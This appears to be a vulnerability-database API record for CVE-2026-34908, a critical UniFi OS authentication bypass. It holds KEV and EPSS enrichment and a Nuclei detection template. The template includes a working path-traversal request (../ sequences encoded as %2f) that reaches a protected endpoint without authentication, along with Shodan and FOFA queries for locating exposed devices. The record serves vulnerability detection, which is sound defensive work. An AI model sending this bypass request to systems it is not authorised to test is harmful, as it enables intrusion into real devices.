{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-34908/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-34908/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-34908/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-34908/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-34908/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-34908"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-34908"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.85194,
      "kev": true,
      "percentile": 0.99704
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-34908.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-34908\n\ninfo:\n  name: UniFi OS - Authentication Bypass via Path Traversal (..%2f)\n  author: Boreas37\n  severity: critical\n  description: |\n    UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.\n  impact: |\n    Attackers can make unauthorized changes to the system, potentially compromising device integrity and security.\n  remediation: |\n    Update to the latest version of UniFi OS.\n  reference:\n    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908\n    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34908\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-34908\n    epss-score: 0.85194\n    epss-percentile: 0.99704\n    cwe-id: CWE-284\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: 'http.title:\"UniFi OS\"'\n    fofa-query: 'title=\"UniFi OS\"'\n  tags: cve,cve2026,unifi,ubiquiti,auth-bypass,traversal,kev,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')\"\n        internal: true\n\n  - raw:\n      - |\n        GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 401 || status_code == 403\"\n        internal: true\n\n  - raw:\n      - |\n        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')\"\n        condition: and\n# digest: 4a0a00473045022005ce3ed69367e44dcbbf2f627aef72d05c72d1c5c3a189b288add45ffd91f7c6022100948748018874e119479231307b6558d6e040e8e97a4ee223804a6326af194663:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-34908"
}